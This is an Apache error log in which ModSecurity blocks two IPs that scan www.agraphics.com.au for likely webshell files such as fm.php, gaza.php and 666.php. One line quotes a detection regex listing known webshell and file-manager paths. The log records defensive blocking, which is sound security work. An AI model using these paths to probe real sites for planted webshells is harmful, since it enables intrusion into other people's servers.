[Wed Apr 15 19:19:49.997500 2026] [:error] [pid 30958:tid 31018] [client 172.161.107.89:27404] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gaza.php"] [unique_id "ad90VceG3wSKTO7NWFGNbQAAAMI"]
[Wed Apr 15 19:19:50.790331 2026] [:error] [pid 30957:tid 30989] [client 172.161.107.89:8498] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gaza.php"] [unique_id "ad90Vn5gwVEVXHfVSipw8wAAAEA"]
[Wed Apr 15 19:19:51.371902 2026] [:error] [pid 37370:tid 37381] [client 172.161.107.89:65076] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "ad90V3g-gnM2Ga0cGAAHCwAAAQk"]
[Wed Apr 15 19:19:51.934763 2026] [:error] [pid 30958:tid 31031] [client 172.161.107.89:8448] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "ad90V8eG3wSKTO7NWFGNbgAAAM8"]
[Wed Apr 15 19:19:52.621706 2026] [:error] [pid 31053:tid 31076] [client 172.161.107.89:17987] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "ad90WBcEkLCmvF0fjDetDQAAAJQ"]
[Wed Apr 15 19:19:53.260145 2026] [:error] [pid 37370:tid 37392] [client 172.161.107.89:37916] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "ad90WXg-gnM2Ga0cGAAHDwAAARQ"]
[Wed Apr 15 19:19:53.931924 2026] [:error] [pid 37370:tid 37390] [client 172.161.107.89:7688] [client 172.161.107.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.agraphics.com.au"] [uri "/fm.php"] [unique_id "ad90WXg-gnM2Ga0cGAAHEwAAARI"]
[Wed Apr 15 19:19:54.847921 2026] [:error] [pid 37370:tid 37377] [client 172.161.107.89:8450] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi001.PhP7"] [unique_id "ad90Wng-gnM2Ga0cGAAHFQAAAQU"]
[Wed Apr 15 19:19:55.709697 2026] [:error] [pid 37370:tid 37382] [client 172.161.107.89:5965] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi001.PhP7"] [unique_id "ad90W3g-gnM2Ga0cGAAHGAAAAQo"]
[Wed Apr 15 19:19:56.214073 2026] [:error] [pid 30956:tid 30984] [client 172.161.107.89:15789] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi001.PhP7"] [unique_id "ad90XEBGUpjaWntNYq1hFwAAABg"]
[Wed Apr 15 19:19:56.989963 2026] [:error] [pid 30956:tid 30961] [client 172.161.107.89:47262] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi001.PhP7"] [unique_id "ad90XEBGUpjaWntNYq1hGAAAAAE"]
[Wed Apr 15 19:19:57.751294 2026] [:error] [pid 30958:tid 31033] [client 172.161.107.89:26742] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mk.php"] [unique_id "ad90XceG3wSKTO7NWFGNdwAAANE"]
[Wed Apr 15 19:19:58.382232 2026] [:error] [pid 37370:tid 37393] [client 172.161.107.89:12600] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mk.php"] [unique_id "ad90Xng-gnM2Ga0cGAAHIAAAARU"]
[Wed Apr 15 19:19:59.032135 2026] [:error] [pid 37370:tid 37382] [client 172.161.107.89:27851] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mk.php"] [unique_id "ad90X3g-gnM2Ga0cGAAHIgAAAQo"]
[Wed Apr 15 19:19:59.662581 2026] [:error] [pid 30957:tid 30998] [client 172.161.107.89:12573] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mk.php"] [unique_id "ad90X35gwVEVXHfVSipw9wAAAEk"]
[Wed Apr 15 19:22:34.830567 2026] [proxy_fcgi:error] [pid 37370:tid 37393] [client 168.63.72.46:7163] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:22:35.084017 2026] [proxy_fcgi:error] [pid 37370:tid 37374] [client 168.63.72.46:7163] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:22:35.337824 2026] [proxy_fcgi:error] [pid 37370:tid 37382] [client 168.63.72.46:7163] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:22:35.593126 2026] [proxy_fcgi:error] [pid 37370:tid 37389] [client 168.63.72.46:7163] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:22:35.852705 2026] [proxy_fcgi:error] [pid 37370:tid 37380] [client 168.63.72.46:7163] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:22:36.360343 2026] [proxy_fcgi:error] [pid 37370:tid 37391] [client 168.63.72.46:7163] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:22:36.618501 2026] [proxy_fcgi:error] [pid 37370:tid 37396] [client 168.63.72.46:7163] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:22:36.880660 2026] [proxy_fcgi:error] [pid 37370:tid 37372] [client 168.63.72.46:7163] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:22:37.134944 2026] [proxy_fcgi:error] [pid 37370:tid 37394] [client 168.63.72.46:7163] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:22:37.385175 2026] [:error] [pid 37370:tid 37390] [client 168.63.72.46:7163] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/t.php"] [unique_id "ad90_Xg-gnM2Ga0cGAAIsAAAARI"]
[Wed Apr 15 19:22:37.888577 2026] [:error] [pid 37370:tid 37384] [client 168.63.72.46:7141] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/t.php"] [unique_id "ad90_Xg-gnM2Ga0cGAAIsgAAAQw"]
[Wed Apr 15 19:22:38.392167 2026] [:error] [pid 37370:tid 37388] [client 168.63.72.46:7128] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/t.php"] [unique_id "ad90_ng-gnM2Ga0cGAAItAAAARA"]
[Wed Apr 15 19:22:38.892252 2026] [:error] [pid 30957:tid 31000] [client 168.63.72.46:7125] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/t.php"] [unique_id "ad90_n5gwVEVXHfVSipxiwAAAEs"]
[Wed Apr 15 19:22:39.391851 2026] [:error] [pid 30957:tid 30991] [client 168.63.72.46:7042] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "ad90_35gwVEVXHfVSipxjAAAAEI"]
[Wed Apr 15 19:22:39.930877 2026] [:error] [pid 37370:tid 37382] [client 168.63.72.46:7050] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "ad90_3g-gnM2Ga0cGAAItgAAAQo"]
[Wed Apr 15 19:22:40.429457 2026] [:error] [pid 37370:tid 37380] [client 168.63.72.46:7057] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "ad91AHg-gnM2Ga0cGAAItwAAAQg"]
[Wed Apr 15 19:22:40.975231 2026] [:error] [pid 30957:tid 31005] [client 168.63.72.46:7041] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "ad91AH5gwVEVXHfVSipxjgAAAFA"]
[Wed Apr 15 19:22:41.478191 2026] [:error] [pid 30958:tid 31027] [client 168.63.72.46:7127] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "ad91AceG3wSKTO7NWFGN_QAAAMs"]
[Wed Apr 15 19:22:41.997153 2026] [:error] [pid 37370:tid 37372] [client 168.63.72.46:7131] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "ad91AXg-gnM2Ga0cGAAIugAAAQA"]
[Wed Apr 15 19:22:42.499187 2026] [:error] [pid 30958:tid 31033] [client 168.63.72.46:7117] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "ad91AseG3wSKTO7NWFGOAAAAANE"]
[Wed Apr 15 19:22:43.034005 2026] [:error] [pid 30956:tid 30971] [client 168.63.72.46:7132] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "ad91A0BGUpjaWntNYq1hfAAAAAs"]
[Wed Apr 15 19:22:43.532927 2026] [:error] [pid 30958:tid 31016] [client 168.63.72.46:7151] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "ad91A8eG3wSKTO7NWFGOAwAAAMA"]
[Wed Apr 15 19:22:44.033961 2026] [:error] [pid 30958:tid 31024] [client 168.63.72.46:7115] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "ad91BMeG3wSKTO7NWFGOBwAAAMg"]
[Wed Apr 15 19:22:44.534867 2026] [:error] [pid 37370:tid 37394] [client 168.63.72.46:7137] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "ad91BHg-gnM2Ga0cGAAIvQAAARY"]
[Wed Apr 15 19:22:45.036094 2026] [:error] [pid 30956:tid 30980] [client 168.63.72.46:7122] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "ad91BUBGUpjaWntNYq1hfwAAABQ"]
[Wed Apr 15 19:22:45.537467 2026] [:error] [pid 37370:tid 37384] [client 168.63.72.46:7133] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "ad91BXg-gnM2Ga0cGAAIvwAAAQw"]
[Wed Apr 15 19:22:46.052917 2026] [:error] [pid 30957:tid 30989] [client 168.63.72.46:7053] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "ad91Bn5gwVEVXHfVSipxkQAAAEA"]
[Wed Apr 15 19:22:46.568986 2026] [:error] [pid 30958:tid 31035] [client 168.63.72.46:7139] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "ad91BseG3wSKTO7NWFGODAAAANM"]
[Wed Apr 15 19:22:47.080824 2026] [:error] [pid 37370:tid 37382] [client 168.63.72.46:7136] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "ad91B3g-gnM2Ga0cGAAIxAAAAQo"]
[Wed Apr 15 19:22:47.603604 2026] [:error] [pid 30957:tid 31004] [client 168.63.72.46:7143] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad91B35gwVEVXHfVSipxlAAAAE8"]
[Wed Apr 15 19:22:48.106647 2026] [:error] [pid 31053:tid 31077] [client 168.63.72.46:7142] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad91CBcEkLCmvF0fjDetpAAAAJU"]
[Wed Apr 15 19:22:48.613656 2026] [:error] [pid 37370:tid 37387] [client 168.63.72.46:6978] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad91CHg-gnM2Ga0cGAAIyQAAAQ8"]
[Wed Apr 15 19:22:49.115652 2026] [:error] [pid 31053:tid 31066] [client 168.63.72.46:7111] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad91CRcEkLCmvF0fjDetpQAAAIo"]
[Wed Apr 15 19:22:49.660539 2026] [:error] [pid 31053:tid 31059] [client 168.63.72.46:7055] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "ad91CRcEkLCmvF0fjDetqAAAAIM"]
[Wed Apr 15 19:22:50.158225 2026] [:error] [pid 31053:tid 31060] [client 168.63.72.46:7054] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "ad91ChcEkLCmvF0fjDetqQAAAIQ"]
[Wed Apr 15 19:22:50.680017 2026] [:error] [pid 30958:tid 31033] [client 168.63.72.46:7049] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "ad91CseG3wSKTO7NWFGODwAAANE"]
[Wed Apr 15 19:22:51.181518 2026] [:error] [pid 30957:tid 31007] [client 168.63.72.46:7159] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "ad91C35gwVEVXHfVSipxlwAAAFI"]
[Wed Apr 15 19:22:51.697060 2026] [:error] [pid 30957:tid 31006] [client 168.63.72.46:7158] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "ad91C35gwVEVXHfVSipxmAAAAFE"]
[Wed Apr 15 19:22:52.205674 2026] [:error] [pid 30957:tid 30992] [client 168.63.72.46:7123] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "ad91DH5gwVEVXHfVSipxmQAAAEM"]
[Wed Apr 15 19:22:52.712354 2026] [:error] [pid 37370:tid 37383] [client 168.63.72.46:7058] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "ad91DHg-gnM2Ga0cGAAI0AAAAQs"]
[Wed Apr 15 19:22:53.212030 2026] [:error] [pid 30958:tid 31021] [client 168.63.72.46:7167] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "ad91DceG3wSKTO7NWFGOEwAAAMU"]
[Wed Apr 15 19:22:53.754130 2026] [:error] [pid 30958:tid 31039] [client 168.63.72.46:7113] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "ad91DceG3wSKTO7NWFGOFgAAANc"]
[Wed Apr 15 19:22:54.254286 2026] [:error] [pid 37370:tid 37385] [client 168.63.72.46:7114] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "ad91Dng-gnM2Ga0cGAAI1wAAAQ0"]
[Wed Apr 15 19:22:54.796103 2026] [:error] [pid 37370:tid 37391] [client 168.63.72.46:7149] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "ad91Dng-gnM2Ga0cGAAI2QAAARM"]
[Wed Apr 15 19:22:55.295356 2026] [:error] [pid 31053:tid 31080] [client 168.63.72.46:7044] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "ad91DxcEkLCmvF0fjDetswAAAJg"]
[Wed Apr 15 19:22:55.841103 2026] [:error] [pid 37370:tid 37384] [client 168.63.72.46:7144] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad91D3g-gnM2Ga0cGAAI3QAAAQw"]
[Wed Apr 15 19:22:56.344788 2026] [:error] [pid 37370:tid 37390] [client 168.63.72.46:6980] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad91EHg-gnM2Ga0cGAAI3wAAARI"]
